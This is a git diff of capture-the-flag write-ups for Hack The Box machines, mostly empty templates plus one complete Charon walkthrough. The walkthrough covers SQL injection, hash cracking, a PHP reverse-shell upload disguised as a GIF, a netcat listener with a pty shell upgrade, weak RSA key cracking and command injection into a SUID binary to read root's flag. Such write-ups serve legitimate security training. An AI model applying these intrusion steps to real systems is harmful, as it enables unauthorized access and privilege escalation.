10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/21.md b/Hard/21.md new file mode 100644 index 0000000..971e944 --- /dev/null +++ b/Hard/21.md @@ -0,0 +1,66 @@ +# Chainsaw Writeup + +![](img/21.png) + +## Introduction : + +Chainsaw is a hard linux box released back in June 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/22.md b/Hard/22.md new file mode 100644 index 0000000..ca37f16 --- /dev/null +++ b/Hard/22.md @@ -0,0 +1,66 @@ +# Player Writeup + +![](img/22.png) + +## Introduction : + +Player is a hard linux box released back in July 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/23.md b/Hard/23.md new file mode 100644 index 0000000..f037036 --- /dev/null +++ b/Hard/23.md @@ -0,0 +1,66 @@ +# RE Writeup + +![](img/23.png) + +## Introduction : + +RE is a hard windows box released back in July 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/24.md b/Hard/24.md new file mode 100644 index 0000000..e0515aa --- /dev/null +++ b/Hard/24.md @@ -0,0 +1,66 @@ +# Scavenger Writeup + +![](img/24.png) + +## Introduction : + +Scavenger is a hard linux box released back in August 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/25.md b/Hard/25.md new file mode 100644 index 0000000..ffc9130 --- /dev/null +++ b/Hard/25.md @@ -0,0 +1,66 @@ +# Zetta Writeup + +![](img/25.png) + +## Introduction : + +Zetta is a hard linux box released back in August 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/26.md b/Hard/26.md new file mode 100644 index 0000000..4ac1c0c --- /dev/null +++ b/Hard/26.md @@ -0,0 +1,66 @@ +# Registry Writeup + +![](img/26.png) + +## Introduction : + +Registry is a hard linux box released back in October 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/27.md b/Hard/27.md new file mode 100644 index 0000000..f504ac5 --- /dev/null +++ b/Hard/27.md @@ -0,0 +1,66 @@ +# Control Writeup + +![](img/27.png) + +## Introduction : + +Control is a hard windows box released back in November 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/28.md b/Hard/28.md new file mode 100644 index 0000000..7ac627f --- /dev/null +++ b/Hard/28.md @@ -0,0 +1,66 @@ +# Patents Writeup + +![](img/28.png) + +## Introduction : + +Patents is a hard linux box released back in January 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/29.md b/Hard/29.md new file mode 100644 index 0000000..774439a --- /dev/null +++ b/Hard/29.md @@ -0,0 +1,66 @@ +# Oouch Writeup + +![](img/29.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/3.md b/Hard/3.md new file mode 100644 index 0000000..b67053e --- /dev/null +++ b/Hard/3.md @@ -0,0 +1,501 @@ +# Charon Writeup + +![](img/3.png) + +## Introduction : + +Charon is a hard linux box released back in july 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.11/23 ] [ /dev/pts/10 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.31 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Discovered open port 22/tcp on 10.10.10.31 + Discovered open port 80/tcp on 10.10.10.31 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/10 ] [~] + → nmap -sCV -p22,80 10.10.10.31 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 18:44 BST + Nmap scan report for 10.10.10.31 + Host is up (0.027s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 09:c7:fb:a2:4b:53:1a:7a:f3:30:5e:b8:6e:ec:83:ee (RSA) + | 256 97:e0:ba:96:17:d4:a1:bb:32:24:f4:e5:15:b4:8a:ec (ECDSA) + |_ 256 e8:9e:0b:1c:e7:2d:b6:c9:68:46:7c:b3:32:ea:e9:ef (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Frozen Yogurt Shop + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds + + + +## **Part 2 : Getting User Access** + +our nmap scan picked up port 80 so let's investigate it: + +![](prg/3/001.png) + + + [ 10.10.14.11/23 ] [ /dev/pts/10 ] [~] + → nikto -h http://10.10.10.31/ + - Nikto v2.1.6 + --------------------------------------------------------------------------- + + Target IP: 10.10.10.31 + + Target Hostname: 10.10.10.31 + + Target Port: 80 + + Start Time: 2020-08-08 18:46:07 (GMT1) + --------------------------------------------------------------------------- + + Server: Apache/2.4.18 (Ubuntu) + + The anti-clickjacking X-Frame-Options header is not present. + + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + + No CGI Directories found (use '-C all' to force check all possible dirs) + + IP address found in the 'location' header. The IP is "127.0.1.1". + + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1". + + Server may leak inodes via ETags, header found with file /, inode: 9f2, size: 552d7084393f2, mtime: gzip + + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + + Allowed HTTP Methods: OPTIONS, GET, HEAD, POST + + OSVDB-3233: /icons/README: Apache default file found. + + 7863 requests: 0 error(s) and 9 item(s) reported on remote host + + End Time: 2020-08-08 18:51:23 (GMT1) (316 seconds) + --------------------------------------------------------------------------- + + 1 host(s) tested + + +` charo + +Doesn't look like there's man things here for us to make use of, so let's use gobuster + + + + [ 10.10.14.11/23 ] [ /dev/pts/11 ] [~] + → gobuster dir -u http://10.10.10.31/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x "txt,php,html,js,xml,pdf" + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.31/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Extensions: php,html,js,xml,pdf,txt + [+] Timeout: 10s + =============================================================== + 2020/08/08 18:50:04 Starting gobuster + =============================================================== + /about.html (Status: 200) + /index.md (Status: 200) + /product.html (Status: 200) + /contact.html (Status: 200) + /images (Status: 301) + /blog.html (Status: 200) + /css (Status: 301) + /js (Status: 301) + /include (Status: 301) + /fonts (Status: 301) + /cmsdata (Status: 301) + /server-status (Status: 403) + =============================================================== + 2020/08/08 19:09:12 Finished + =============================================================== + + + +the idea here was to run gobuster again into the /cmsdata directory in order to find the login.php webpage: + + + + [ 10.10.14.11/23 ] [ /dev/pts/11 ] [~] + → gobuster dir -u http://10.10.10.31/cmsdata/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium. + txt -t 50 -x "txt,php,html,js,xml,pdf" + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.31/cmsdata/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Extensions: txt,php,html,js,xml,pdf + [+] Timeout: 10s + =============================================================== + 2020/08/08 19:13:49 Starting gobuster + =============================================================== + /images (Status: 301) + /scripts (Status: 301) + /menu.php (Status: 302) + /login.php (Status: 200) + /upload.php (Status: 302) + /css (Status: 301) + /js (Status: 301) + /include (Status: 301) + /forgot.php (Status: 200) + Progress: 89237 / 220561 (40.46%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2020/08/08 19:21:32 Finished + =============================================================== + + + +` ![](prg/3/002.png) + +So here we on /cmsdata/login.php we stumble upon a SuperCMS login php page. There isn't much on the login page itself so we take a look at the "forgot password?" page and inspect the request with burpsuite: + +![](prg/3/003.png) ![](prg/3/004.png) + +Here we get a generic error that email isn't found, But let's test out and see if we can trigger a SQL injection: + +![](prg/3/005.png) + +Here we see something is up, let's poke at it further by using the "-- -" string to comment out the query , which should remove the error, and verify that we are dealing with a SQL injection: + +![](prg/3/006.png) + +Now that we know it is a SQL injection, we can test it further: + +![](prg/3/007.png) ![](prg/3/008.png) + +So now we know the 4th field takes in a string, which is an email,so let's poke around the sql injection further: + +![](prg/3/009.png) + +and we found the supercms database! Now let's find the name of the table containing those emails + +![](prg/3/010.png) + +So far we know we are in the supercms database, and looking at the table called "license", But with further enumeration we find another table called "operators": + +![](prg/3/011.png) + +So now we have the name of the tables, we will enumerate the columns: + +![](prg/3/012.png) ![](prg/3/013.png) ![](prg/3/014.png) + +Now we know the table Operators contains the columns __username_ and __password_ + +![](prg/3/015.png) + +So now let's just dump the usernames and passwords: + +![](prg/3/016.png) ![](prg/3/017.png) + +And we found credentials ! **super_cms_adm:0b0689ba94f94533400f4decd87fa260** however the password is hashed, so we use hash-identifier to figure out which format it is : + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: 0b0689ba94f94533400f4decd87fa260 + + Possible Hashs: + [+] MD5 + [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) + + +And we see that it is a md5 hash, we can use john or hashcat in conjunction with wordlists, but for this example we'll just use an online hash cracker: https://www.onlinehashcrack.com + +![](prg/3/018.png) ![](prg/3/019.png) + +And finally we have the credentials **super_cms_adm:tamarro** So we use them to login: + +![](prg/3/020.png) + +Once logged in we see a big red flag, we are able to upload an image, so we'll try to inject a reverse shell there: + +![](prg/3/021.png) + +So here let's make our own simple php reverse shell: + +![](prg/3/022.png) + +But when we upload it we see that we need to make sure the file extension is correct: + +![](prg/3/023.png) + +So let's disguise our reverse php shell as a gif, making sure the magicbytes are also correct: + +![](prg/3/024.png) ![](prg/3/025.png) + +Here we see 2 interesting things once we upload our reverse php gif : we get the **relative** path of our gif : ../images/nothing.php.gif and a hidden input with a b64 name + +![](prg/3/026.png) + +Unsure as to what to do with that, we'll just try to access our reverse php gif and get a reverse shell: + +![](prg/3/027.png) ![](prg/3/028.png) + +Now that we see our reverse php gif not working, that's where we know we have to make use of this "testfile1" which is a new imput field to the form named testfile1 and setting the value to writeup.php, causes the page to rename the uploaded file to the value specified. So let's intercept the upload.php webpage itself in bursuite, in order to modify the php file itself,in order to have a the new "testfile1" input field: + +![](prg/3/030.png) + +Now that we have the request, we do Action > Do intercept > Response to this Request and then just hit "forward" + +![](prg/3/032.png) + +Then we make sure the other input field is uncommented and named properly and forward the request: + +![](prg/3/033.png) + +This allows us to submit a gif file to then rename it to a php file, so let's submit it and browse to it: + +![](prg/3/034.png) + +It uploads successfully so let's browse to it at **http://10.10.10.31/images/nothing.php** : + +![](prg/3/035.png) + +And there we have a reverse shell as www-data ! now let's poke around but before that let's upgrade our reverse shell to a fully interactive one: + + + www-data@charon:/var/www/html/freeeze/images$ which python + which python + /usr/bin/python + + +Python is there for us to use, so let's use the pty module to spawn a TTY shell: + + + www-data@charon:/var/www/html/freeeze/images$ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@charon:/var/www/html/freeeze/images$ ^Z + [1]+ Stopped nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/16 ] [~] + → stty raw -echo + + [ 10.10.14.8/23 ] [ /dev/pts/16 ] [~] + → nc -lvnp 9001 + + www-data@charon:/var/www/html/freeeze/images$ + www-data@charon:/var/www/html/freeeze/images$ + www-data@charon:/var/www/html/freeeze/images$ + + +once we got the tty shell from python, we background our netcat process with CTRL+Z then type in stty raw -echo and then **fg** to get back into our netcat reverse shell and we now have our fully interactive reverse shell: + + + www-data@charon:/var/www/html/freeeze/images$ ls -lash + ls -lash + total 904K + 4.0K drwxr-xrwx 3 root root 4.0K Aug 13 14:43 . + 4.0K drwxr-xrwx 8 root root 4.0K Jun 26 2017 .. + 72K -rwxr-xr-x 1 root root 72K Dec 23 2016 berries.png + 4.0K -rwxr-xr-x 1 root root 1.2K Dec 23 2016 bg-border.gif + 64K -rwxr-xr-x 1 root root 62K Dec 23 2016 bg-header-about.jpg + 152K -rwxr-xr-x 1 root root 152K Dec 23 2016 bg-home.jpg + 4.0K -rwxr-xr-x 1 root root 994 Dec 23 2016 bg-transparent.png + 20K -rwxr-xr-x 1 root root 19K Dec 23 2016 blackberry.jpg + 20K -rwxr-xr-x 1 root root 19K Dec 23 2016 blueberry.jpg + 20K -rwxr-xr-x 1 root root 19K Dec 23 2016 cantaloupe.jpg + 4.0K -rwxr-xr-x 1 root root 2.7K Dec 23 2016 check-in.png + 4.0K -rwxr-xr-x 1 root root 3.7K Jun 23 2017 f.png + 24K -rwxr-xr-x 1 root root 21K Dec 23 2016 grapes.jpg + 24K -rwxr-xr-x 1 root root 21K Dec 23 2016 green-apple.jpg + 16K -rwxr-xr-x 1 root root 13K Dec 23 2016 icons.png + 20K -rwxr-xr-x 1 root root 17K Dec 23 2016 kiwi.jpg + 8.0K -rwxr-xr-x 1 root root 7.1K Jun 23 2017 logo.png + 20K -rwxr-xr-x 1 root root 18K Dec 23 2016 mango.jpg + 60K -rwxr-xr-x 1 root root 60K Dec 23 2016 map.jpg + 4.0K drwxr-xr-x 2 root root 4.0K Dec 23 2016 mobile + 84K -rwxr-xr-x 1 root root 82K Dec 23 2016 new-chills.png + 4.0K -rw-r--r-- 1 www-data www-data 83 Aug 13 14:43 nothing.php + 4.0K -rw-r--r-- 1 www-data www-data 83 Aug 13 13:56 nothing.php.gif + 84K -rwxr-xr-x 1 root root 82K Dec 23 2016 on-diet.png + 20K -rwxr-xr-x 1 root root 20K Dec 23 2016 pineapple.jpg + 4.0K -rw-r--r-- 1 www-data www-data 103 Jun 26 2017 small.png + 20K -rwxr-xr-x 1 root root 20K Dec 23 2016 strawberry.jpg + 116K -rwxr-xr-x 1 root root 116K Dec 23 2016 strwberry-delights.jpg + 20K -rwxr-xr-x 1 root root 20K Dec 23 2016 yogurt.jpg + + + www-data@charon:/var/www/html/freeeze/images$ cd /home/ + www-data@charon:/home$ ls + decoder + www-data@charon:/home$ cd decoder/ + www-data@charon:/home/decoder$ ls -lash + total 40K + 4.0K drwxr-xr-x 3 decoder freeeze 4.0K Jun 26 2017 . + 4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2017 .. + 4.0K -rw-r--r-- 1 decoder freeeze 220 Sep 1 2015 .bash_logout + 4.0K -rw-r--r-- 1 decoder freeeze 3.7K Jun 25 2017 .bashrc + 4.0K drwx------ 2 decoder freeeze 4.0K Jun 23 2017 .cache + 4.0K -rw-r--r-- 1 decoder freeeze 654 Jun 25 2017 .profile + 4.0K -rw------- 1 decoder freeeze 601 Jun 26 2017 .viminfo + 4.0K -rw-r--r-- 1 decoder freeeze 138 Jun 23 2017 decoder.pub + 4.0K -rw-r--r-- 1 decoder freeeze 32 Jun 23 2017 pass.crypt + 4.0K -r-------- 1 decoder freeeze 33 Jun 23 2017 user.txt + www-data@charon:/home/decoder$ cat user.txt + cat: user.txt: Permission denied + www-data@charon:/home/decoder$ file decoder.pub && file pass.crypt + decoder.pub: ASCII text + pass.crypt: data + www-data@charon:/home/decoder$ + + + +after poking around a bit we found out that we (www-data) couldn't read the user flag, but we have access to decoder.pub and pass.crypt + + + www-data@charon:/home/decoder$ cat decoder.pub + -----BEGIN PUBLIC KEY----- + MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3 + mI9wJizmFJhrAgMBAAE= + -----END PUBLIC KEY----- + + www-data@charon:/home/decoder$ cat pass.crypt + 2OSb"eWgTo7I + + + +So let's just save both locally (it's easy since they are small files, you can just copy paste them into nano) + + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [~/_HTB/Charon] + → ls + nothing.php.gif + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [~/_HTB/Charon] + → wget http://10.10.10.31:9999/decoder.pub + --2020-08-13 15:50:36-- http://10.10.10.31:9999/decoder.pub + Connecting to 10.10.10.31:9999... ^C + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [~/_HTB/Charon] + → nano decoder.pub + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [~/_HTB/Charon] + → nano pass.crypt + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [~/_HTB/Charon] + → ls -lash + total 24K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Aug 13 15:52 . + 4.0K drwxr-xr-x 4 nothing nothing 4.0K Aug 13 14:34 .. + 4.0K -rw-r--r-- 1 nothing nothing 138 Aug 13 15:51 decoder.pub + 4.0K -rw-r--r-- 1 nothing nothing 83 Aug 13 15:19 nothing.php.gif + 4.0K -rw-r--r-- 1 nothing nothing 1.0K Aug 13 15:18 .nothing.php.gif.swp + 4.0K -rw-r--r-- 1 nothing nothing 13 Aug 13 15:52 pass.crypt + + + +Here we'll crack the weak RSA key using RsaCtfTool.py: + + + [ 10.10.14.8/23 ] [ /dev/pts/18 ] [~/_HTB/Charon] + →/opt/RsaCtfTool/RsaCtfTool.py --publickey decoder.pub --uncipher pass.crypt + [+] Clear text : nevermindthebollocks + + +And we have decoder's password! so let's login via ssh as the decoder user: + + + [ 10.10.14.8/23 ] [ /dev/pts/18 ] [~/_HTB/Charon] + → ssh decoder@10.10.10.31 + The authenticity of host '10.10.10.31 (10.10.10.31)' can't be established. + ECDSA key fingerprint is SHA256:V1uA1jbcL+1r8UE/foqVjb2u9rSiGTP6EB1Q374Zp9o. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.31' (ECDSA) to the list of known hosts. + decoder@10.10.10.31's password: + Permission denied, please try again. + decoder@10.10.10.31's password: + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 34 packages can be updated. + 23 updates are security updates. + + + $ id + uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze) + $ cat user.txt + 0fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +To be able to read the root flag, we first need to privesc, so we find the files with the SUID bit set and find a file called supershell in /usr/local/bin directory + + + $ find / -perm -4000 2>/dev/null + **/usr/local/bin/supershell** + /usr/lib/openssh/ssh-keysign + /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic + /usr/lib/dbus-1.0/dbus-daemon-launch-helper + /usr/lib/snapd/snap-confine + /usr/lib/policykit-1/polkit-agent-helper-1 + /usr/lib/eject/dmcrypt-get-device + /usr/bin/pkexec + /usr/bin/sudo + /usr/bin/chfn + /usr/bin/newgrp + /usr/bin/gpasswd + /usr/bin/chsh + /usr/bin/passwd + /usr/bin/at + /usr/bin/newgidmap + /usr/bin/newuidmap + /bin/ntfs-3g + /bin/ping6 + /bin/mount + /bin/fusermount + /bin/umount + /bin/ping + /bin/su + + +When we run this binary we find that we can run any shell command using it. So we can use it to open the root.txt file: + + + + $ supershell "/bin/ls$/ + > cat /root/root.txt + > " + Supershell (very beta) + ++[/bin/ls$/ + cat /root/root.txt + ] + sh: 1: /bin/ls$/: not found + c5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to read the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/3_graph.png) + diff --git a/Hard/30.md b/Hard/30.md new file mode 100644 index 0000000..17ae6b1 --- /dev/null +++ b/Hard/30.md @@ -0,0 +1,66 @@ +# ForwardSlash Writeup + +![](img/30.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/31.md b/Hard/31.md new file mode 100644 index 0000000..92cce74 --- /dev/null +++ b/Hard/31.md @@ -0,0 +1,66 @@ +# Quick Writeup + +![](img/31.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/32.md b/Hard/32.md new file mode 100644 index 0000000..4dbc0cf --- /dev/null +++ b/Hard/32.md @@ -0,0 +1,66 @@ +# Travel Writeup + +![](img/32.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We 